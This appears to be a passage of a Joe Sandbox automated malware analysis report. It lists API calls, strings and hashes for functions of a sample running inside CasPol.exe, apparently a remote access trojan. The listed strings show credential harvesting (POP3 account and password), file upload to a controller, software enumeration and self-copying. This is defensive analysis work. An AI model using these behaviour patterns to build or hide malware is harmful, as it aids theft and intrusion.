                                                                                                                                                                                                  • GetModuleHandleW.KERNEL32(ntdll.dll,LdrEnumerateLoadedModules), ref: 0040732D
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000), ref: 00407330
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: AddressHandleModuleProc
                                                                                                                                                                                                  • String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe$LdrEnumerateLoadedModules$NtAllocateVirtualMemory$NtFreeVirtualMemory$RtlAcquirePebLock$RtlInitUnicodeString$RtlReleasePebLock$ntdll.dll
                                                                                                                                                                                                  • API String ID: 1646373207-165202446
                                                                                                                                                                                                  • Opcode ID: f3da3711bb85931ca03a42678d4c0c1881451176f862cc8ba737a85fa656c6e8
                                                                                                                                                                                                  • Instruction ID: 405170eedd050388d8f538cead316ce70cca9a1d875d15a5a69166cce564cbe9
                                                                                                                                                                                                  • Opcode Fuzzy Hash: f3da3711bb85931ca03a42678d4c0c1881451176f862cc8ba737a85fa656c6e8
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 0A0152A0E4431676D711AF7AAC44D577E9D9E41351311487BB405E2292EEBCE800CD6E
                                                                                                                                                                                                  Function 1000173A Relevance: 30.0, APIs: 5, Strings: 12, Instructions: 210COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 10001CCA: CopyFileW.KERNEL32(?,?,00000000), ref: 10001D1B
                                                                                                                                                                                                    • Part of subcall function 10001CCA: CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000080,00000000), ref: 10001D37
                                                                                                                                                                                                    • Part of subcall function 10001CCA: DeleteFileW.KERNEL32(?,?,?,00000000,?,?,?,?,?,?,00000000), ref: 10001D4B
                                                                                                                                                                                                  • _strlen.LIBCMT ref: 10001855
                                                                                                                                                                                                  • _strlen.LIBCMT ref: 10001869
                                                                                                                                                                                                  • _strlen.LIBCMT ref: 1000188B
                                                                                                                                                                                                  • _strlen.LIBCMT ref: 100018AE
                                                                                                                                                                                                  • _strlen.LIBCMT ref: 100018C8
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.658489687.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658478098.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658489687.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_10000000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: _strlen$File$CopyCreateDelete
                                                                                                                                                                                                  • String ID: Acco$Acco$POP3$POP3$Pass$Pass$t$t$un$un$word$word
                                                                                                                                                                                                  • API String ID: 3296212668-3023110444
                                                                                                                                                                                                  • Opcode ID: 6f2763eb29f99e55b9fa1c4501e1124463a6139b8cfee53aa49ae728a3ea04e1
                                                                                                                                                                                                  • Instruction ID: bb93a2ec4ecc4c0c7ac40ef0fbf5621e946fdf476ba73097d2750e43d9e064ca
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 6f2763eb29f99e55b9fa1c4501e1124463a6139b8cfee53aa49ae728a3ea04e1
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 69612475D04218ABFF11CBE4C851BDEB7F9EF45280F00409AE604A7299EF706A45CF96
                                                                                                                                                                                                  Function 0040CE34 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 203fileCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • _wcslen.LIBCMT ref: 0040CE42
                                                                                                                                                                                                  • CreateDirectoryW.KERNEL32(00000000,00000000,00000000,00000000,?,004750E4,0000000E,00000027,0000000D,00000033,00000000,00000032,00000000,Exe,00000000,0000000E), ref: 0040CE5B
                                                                                                                                                                                                  • CopyFileW.KERNEL32 ref: 0040CF0B
                                                                                                                                                                                                  • _wcslen.LIBCMT ref: 0040CF21
                                                                                                                                                                                                  • CreateDirectoryW.KERNEL32(00000000,00000000,00000000), ref: 0040CFA9
                                                                                                                                                                                                  • CopyFileW.KERNEL32 ref: 0040CFBF
                                                                                                                                                                                                  • SetFileAttributesW.KERNEL32(00000000,00000007), ref: 0040CFFE
                                                                                                                                                                                                  • _wcslen.LIBCMT ref: 0040D001
                                                                                                                                                                                                  • SetFileAttributesW.KERNEL32(00000000,00000007), ref: 0040D018
                                                                                                                                                                                                  • CloseHandle.KERNEL32 ref: 0040D068
                                                                                                                                                                                                  • ShellExecuteW.SHELL32(00000000,open,00000000,00466478,00466478,00000001), ref: 0040D086
                                                                                                                                                                                                  • ExitProcess.KERNEL32 ref: 0040D09D
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: File$_wcslen$AttributesCopyCreateDirectory$CloseExecuteExitHandleProcessShell
                                                                                                                                                                                                  • String ID: 6$C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe$del$open
                                                                                                                                                                                                  • API String ID: 1579085052-4130102134
                                                                                                                                                                                                  • Opcode ID: e23ef020428c66d53fd8e3c33b5503753ae814959289fe9288ddeebf21de7c0a
                                                                                                                                                                                                  • Instruction ID: 98553dc1b0994f0aa09194d7cf3a18af63584d9ff732256a229fdfb73b573f5c
                                                                                                                                                                                                  • Opcode Fuzzy Hash: e23ef020428c66d53fd8e3c33b5503753ae814959289fe9288ddeebf21de7c0a
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 3151E820208302ABD615B7359C92A6F679D9F8471DF00443FF60AA61E3EF7C9D05866E
                                                                                                                                                                                                  Function 0041C0AC Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 139stringCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • lstrlenW.KERNEL32(?), ref: 0041C0C7
                                                                                                                                                                                                  • _memcmp.LIBVCRUNTIME ref: 0041C0DF
                                                                                                                                                                                                  • lstrlenW.KERNEL32(?), ref: 0041C0F8
                                                                                                                                                                                                  • FindFirstVolumeW.KERNEL32(?,00000104,?), ref: 0041C133
                                                                                                                                                                                                  • GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 0041C146
                                                                                                                                                                                                  • QueryDosDeviceW.KERNEL32(?,?,00000064), ref: 0041C18A
                                                                                                                                                                                                  • lstrcmpW.KERNEL32(?,?), ref: 0041C1A5
                                                                                                                                                                                                  • FindNextVolumeW.KERNEL32(?,0000003F,00000104), ref: 0041C1BD
                                                                                                                                                                                                  • _wcslen.LIBCMT ref: 0041C1CC
                                                                                                                                                                                                  • FindVolumeClose.KERNEL32(?), ref: 0041C1EC
                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 0041C204
                                                                                                                                                                                                  • GetVolumePathNamesForVolumeNameW.KERNEL32(?,?,?,?), ref: 0041C231
                                                                                                                                                                                                  • lstrcatW.KERNEL32(?,?), ref: 0041C24A
                                                                                                                                                                                                  • lstrcpyW.KERNEL32(?,?), ref: 0041C259
                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 0041C261
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Volume$ErrorFindLast$lstrlen$CloseDeviceFirstNameNamesNextPathQuery_memcmp_wcslenlstrcatlstrcmplstrcpy
                                                                                                                                                                                                  • String ID: ?
                                                                                                                                                                                                  • API String ID: 3941738427-1684325040
                                                                                                                                                                                                  • Opcode ID: f867a525b16976b99bb039d508de341a2eaf9024ee8651fbc1bead663617605c
                                                                                                                                                                                                  • Instruction ID: 8d48ee17a24f37a9bc83e71ffc922dd471ae74eb47091415c6e266b1ff6a60c4
                                                                                                                                                                                                  • Opcode Fuzzy Hash: f867a525b16976b99bb039d508de341a2eaf9024ee8651fbc1bead663617605c
                                                                                                                                                                                                  • Instruction Fuzzy Hash: B541A671584316EBD720DFA0DC889DBB7ECEB84745F00092BF545D2162EB78CA88CB96
                                                                                                                                                                                                  Function 100019B2 Relevance: 26.5, APIs: 11, Strings: 4, Instructions: 218COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.658489687.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658478098.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658489687.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_10000000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: _strlen
                                                                                                                                                                                                  • String ID: %m$~$Gon~$~F@7$~dra
                                                                                                                                                                                                  • API String ID: 4218353326-230879103
                                                                                                                                                                                                  • Opcode ID: 5313ffee17f5d615fcbb67a61029f9413697531bcd3fb870ba25ca75e457194f
                                                                                                                                                                                                  • Instruction ID: 2a57ee3bda34e0ca62253b4f9cdd28a92c7aa5ebcaa9e167bfd7dd38749d7a78
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 5313ffee17f5d615fcbb67a61029f9413697531bcd3fb870ba25ca75e457194f
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 9371F5B5D002685BEF11DBB49895BDF7BFCDB05280F104096E644D7246EB74EB85CBA0
                                                                                                                                                                                                  Function 0044F4AD Relevance: 24.4, APIs: 16, Instructions: 419COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: _free$EnvironmentVariable
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1464849758-0
                                                                                                                                                                                                  • Opcode ID: a471c829ddd5e79256b59335d7b350d61db07916532beff835d4a4e17985a3d6
                                                                                                                                                                                                  • Instruction ID: 2409d22e097b45b84bdb59948eb4ebc1cd1141af37d2d18b4001dba56dac1aed
                                                                                                                                                                                                  • Opcode Fuzzy Hash: a471c829ddd5e79256b59335d7b350d61db07916532beff835d4a4e17985a3d6
                                                                                                                                                                                                  • Instruction Fuzzy Hash: E3D135B1D003006FFB24AF799D82A6B7BA8EF01314F05417FE945A7382EB7D99098759
                                                                                                                                                                                                  Function 0041C720 Relevance: 23.0, APIs: 6, Strings: 7, Instructions: 214registryCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • RegOpenKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Uninstall,00000000,00020019,?), ref: 0041C742
                                                                                                                                                                                                  • RegEnumKeyExA.ADVAPI32 ref: 0041C786
                                                                                                                                                                                                  • RegCloseKey.ADVAPI32(?), ref: 0041CA50
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: CloseEnumOpen
                                                                                                                                                                                                  • String ID: DisplayName$DisplayVersion$InstallDate$InstallLocation$Publisher$Software\Microsoft\Windows\CurrentVersion\Uninstall$UninstallString
                                                                                                                                                                                                  • API String ID: 1332880857-3714951968
                                                                                                                                                                                                  • Opcode ID: bda5a057d1482af4b316a8033d0568fb74c7f5fd769d604243e8b29cd9515908
                                                                                                                                                                                                  • Instruction ID: 8204223968f620e226549da85b9b34a309c849e8d9bbed411749b7727356edba
                                                                                                                                                                                                  • Opcode Fuzzy Hash: bda5a057d1482af4b316a8033d0568fb74c7f5fd769d604243e8b29cd9515908
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 3E8133311082459BC325EF11D851EEFB7E8BF94309F10492FB589921A2FF74AE49CA5A
                                                                                                                                                                                                  Function 0041D620 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 74windowCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • DefWindowProcA.USER32(?,00000401,?,?), ref: 0041D66B
                                                                                                                                                                                                  • GetCursorPos.USER32(?), ref: 0041D67A
                                                                                                                                                                                                  • SetForegroundWindow.USER32(?), ref: 0041D683
                                                                                                                                                                                                  • TrackPopupMenu.USER32(00000000,?,?,00000000,?,00000000), ref: 0041D69D
                                                                                                                                                                                                  • Shell_NotifyIconA.SHELL32(00000002,00474B48), ref: 0041D6EE
                                                                                                                                                                                                  • ExitProcess.KERNEL32 ref: 0041D6F6
                                                                                                                                                                                                  • CreatePopupMenu.USER32 ref: 0041D6FC
                                                                                                                                                                                                  • AppendMenuA.USER32(00000000,00000000,00000000,Close), ref: 0041D711
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Menu$PopupWindow$AppendCreateCursorExitForegroundIconNotifyProcProcessShell_Track
                                                                                                                                                                                                  • String ID: Close
                                                                                                                                                                                                  • API String ID: 1657328048-3535843008
                                                                                                                                                                                                  • Opcode ID: 2cdbc08d807d068952302bab703dbbbb7de86244cd36d8f377370d21a5bc842f
                                                                                                                                                                                                  • Instruction ID: ffebe08b42ddc2cad69fc5dc181b4667ce265f065f51bc56e4a7814a85689449
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 2cdbc08d807d068952302bab703dbbbb7de86244cd36d8f377370d21a5bc842f
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 2D213BB1544209FFDF155FA4ED0EAAA3F35EB08302F000125F909951B2D779EDA1EB19
                                                                                                                                                                                                  Function 00445DD7 Relevance: 22.8, APIs: 15, Instructions: 296COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: _free$Info
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 2509303402-0
                                                                                                                                                                                                  • Opcode ID: 265d55c29888f35ec20f5081f159e7cd252a50d65c59893da787bb4e51b2451e
                                                                                                                                                                                                  • Instruction ID: 03d8b0dccc9171d7b4ee81f85837dfa1205ba0d7832ce976ccf3d084d520ac26
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 265d55c29888f35ec20f5081f159e7cd252a50d65c59893da787bb4e51b2451e
                                                                                                                                                                                                  • Instruction Fuzzy Hash: AFB1CE719002059FEB21DF69C881BEEBBF4BF09304F15842EF495A7242DB79AC458B69
                                                                                                                                                                                                  Function 00408BB5 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 328fileCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00408D1E
                                                                                                                                                                                                  • GetFileSizeEx.KERNEL32(00000000,?), ref: 00408D56
                                                                                                                                                                                                  • __aulldiv.LIBCMT ref: 00408D88
                                                                                                                                                                                                    • Part of subcall function 00404AA1: send.WS2_32(FFFFFFFF,00000000,00000000,00000000), ref: 00404B36
                                                                                                                                                                                                    • Part of subcall function 0041B580: GetLocalTime.KERNEL32(00000000), ref: 0041B59A
                                                                                                                                                                                                  • SetFilePointerEx.KERNEL32(00000000,?,?,00000000,00000000), ref: 00408EAB
                                                                                                                                                                                                  • ReadFile.KERNEL32(00000000,00000000,?,?,00000000), ref: 00408EC6
                                                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 00408F9F
                                                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 00408FE9
                                                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 00409037
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: File$CloseHandle$CreateLocalPointerReadSizeTime__aulldivsend
                                                                                                                                                                                                  • String ID: ReadFile error$SetFilePointerEx error$Uploading file to Controller: $NG
                                                                                                                                                                                                  • API String ID: 3086580692-2582957567
                                                                                                                                                                                                  • Opcode ID: 3991cb73806a49c5ac684c1e5fded63b8ae94927034fce3271c358c0f33b2713
                                                                                                                                                                                                  • Instruction ID: 3fce176daff91a8ac67d7e00268aa6ddaa8eb0a69c3dc15cdf5b3728eb075172
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 3991cb73806a49c5ac684c1e5fded63b8ae94927034fce3271c358c0f33b2713
                                                                                                                                                                                                  • Instruction Fuzzy Hash: CCB1A1316083409BC314FB26C941AAFB7E5AFC4358F40492FF589622D2EF789945CB8B
                                                                                                                                                                                                  Function 00451346 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • ___free_lconv_mon.LIBCMT ref: 0045138A
                                                                                                                                                                                                    • Part of subcall function 00450582: _free.LIBCMT ref: 0045059F
                                                                                                                                                                                                    • Part of subcall function 00450582: _free.LIBCMT ref: 004505B1
                                                                                                                                                                                                    • Part of subcall function 00450582: _free.LIBCMT ref: 004505C3
                                                                                                                                                                                                    • Part of subcall function 00450582: _free.LIBCMT ref: 004505D5
                                                                                                                                                                                                    • Part of subcall function 00450582: _free.LIBCMT ref: 004505E7
                                                                                                                                                                                                    • Part of subcall function 00450582: _free.LIBCMT ref: 004505F9
                                                                                                                                                                                                    • Part of subcall function 00450582: _free.LIBCMT ref: 0045060B
                                                                                                                                                                                                    • Part of subcall function 00450582: _free.LIBCMT ref: 0045061D
                                                                                                                                                                                                    • Part of subcall function 00450582: _free.LIBCMT ref: 0045062F
                                                                                                                                                                                                    • Part of subcall function 00450582: _free.LIBCMT ref: 00450641
                                                                                                                                                                                                    • Part of subcall function 00450582: _free.LIBCMT ref: 00450653
                                                                                                                                                                                                    • Part of subcall function 00450582: _free.LIBCMT ref: 00450665
                                                                                                                                                                                                    • Part of subcall function 00450582: _free.LIBCMT ref: 00450677
                                                                                                                                                                                                  • _free.LIBCMT ref: 0045137F
                                                                                                                                                                                                    • Part of subcall function 00446802: HeapFree.KERNEL32(00000000,00000000), ref: 00446818
                                                                                                                                                                                                    • Part of subcall function 00446802: GetLastError.KERNEL32(?,?,00450CEF,?,00000000,?,00000000,?,00450F93,?,00000007,?,?,004514DE,?,?), ref: 0044682A
                                                                                                                                                                                                  • _free.LIBCMT ref: 004513A1
                                                                                                                                                                                                  • _free.LIBCMT ref: 004513B6
                                                                                                                                                                                                  • _free.LIBCMT ref: 004513C1
                                                                                                                                                                                                  • _free.LIBCMT ref: 004513E3
                                                                                                                                                                                                  • _free.LIBCMT ref: 004513F6
                                                                                                                                                                                                  • _free.LIBCMT ref: 00451404
                                                                                                                                                                                                  • _free.LIBCMT ref: 0045140F
                                                                                                                                                                                                  • _free.LIBCMT ref: 00451447
                                                                                                                                                                                                  • _free.LIBCMT ref: 0045144E
                                                                                                                                                                                                  • _free.LIBCMT ref: 0045146B
                                                                                                                                                                                                  • _free.LIBCMT ref: 00451483
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: _free$ErrorFreeHeapLast___free_lconv_mon
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 161543041-0
                                                                                                                                                                                                  • Opcode ID: 9bfda5629608ba7fc19c0d50907ac959002cc076efa33527145bad7316b2b0bb
                                                                                                                                                                                                  • Instruction ID: 2428002f6fd8eb1a99257b9b861ac38f7c05b5b97acacff09fd9d8cf260fe807
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 9bfda5629608ba7fc19c0d50907ac959002cc076efa33527145bad7316b2b0bb
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 403193715003009FEB20AA39D846F5B73E8EF02315F62992FE849D7662DF78AD44C729
                                                                                                                                                                                                  Function 10007CC2 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • ___free_lconv_mon.LIBCMT ref: 10007D06
                                                                                                                                                                                                    • Part of subcall function 100090BA: _free.LIBCMT ref: 100090D7
                                                                                                                                                                                                    • Part of subcall function 100090BA: _free.LIBCMT ref: 100090E9
                                                                                                                                                                                                    • Part of subcall function 100090BA: _free.LIBCMT ref: 100090FB
                                                                                                                                                                                                    • Part of subcall function 100090BA: _free.LIBCMT ref: 1000910D
                                                                                                                                                                                                    • Part of subcall function 100090BA: _free.LIBCMT ref: 1000911F
                                                                                                                                                                                                    • Part of subcall function 100090BA: _free.LIBCMT ref: 10009131
                                                                                                                                                                                                    • Part of subcall function 100090BA: _free.LIBCMT ref: 10009143
                                                                                                                                                                                                    • Part of subcall function 100090BA: _free.LIBCMT ref: 10009155
                                                                                                                                                                                                    • Part of subcall function 100090BA: _free.LIBCMT ref: 10009167
                                                                                                                                                                                                    • Part of subcall function 100090BA: _free.LIBCMT ref: 10009179
                                                                                                                                                                                                    • Part of subcall function 100090BA: _free.LIBCMT ref: 1000918B
                                                                                                                                                                                                    • Part of subcall function 100090BA: _free.LIBCMT ref: 1000919D
                                                                                                                                                                                                    • Part of subcall function 100090BA: _free.LIBCMT ref: 100091AF
                                                                                                                                                                                                  • _free.LIBCMT ref: 10007CFB
                                                                                                                                                                                                    • Part of subcall function 1000571E: HeapFree.KERNEL32(00000000,00000000), ref: 10005734
                                                                                                                                                                                                    • Part of subcall function 1000571E: GetLastError.KERNEL32(?,?,1000924F,?,00000000,?,00000000,?,10009276,?,00000007,?,?,10007E5A,?,?), ref: 10005746
                                                                                                                                                                                                  • _free.LIBCMT ref: 10007D1D
                                                                                                                                                                                                  • _free.LIBCMT ref: 10007D32
                                                                                                                                                                                                  • _free.LIBCMT ref: 10007D3D
                                                                                                                                                                                                  • _free.LIBCMT ref: 10007D5F
                                                                                                                                                                                                  • _free.LIBCMT ref: 10007D72
                                                                                                                                                                                                  • _free.LIBCMT ref: 10007D80
                                                                                                                                                                                                  • _free.LIBCMT ref: 10007D8B
                                                                                                                                                                                                  • _free.LIBCMT ref: 10007DC3
                                                                                                                                                                                                  • _free.LIBCMT ref: 10007DCA
                                                                                                                                                                                                  • _free.LIBCMT ref: 10007DE7
                                                                                                                                                                                                  • _free.LIBCMT ref: 10007DFF
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.658489687.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658478098.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658489687.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_10000000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: _free$ErrorFreeHeapLast___free_lconv_mon
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 161543041-0
                                                                                                                                                                                                  • Opcode ID: 04f87de51616aa77c632626b63215b7c3e2981daeb02be256c48a4a07a0be686
                                                                                                                                                                                                  • Instruction ID: 6de9b84f5b51ee4e35cbeb1ed48e08772f21b212059d2ac72beb9c863e9ed859
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 04f87de51616aa77c632626b63215b7c3e2981daeb02be256c48a4a07a0be686
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 90313931A04645EFFB21DA38E941B6A77FAFF002D1F11446AE84DDB159DE3ABC809B14
                                                                                                                                                                                                  Function 0041A045 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 176sleeptimeCOMMON
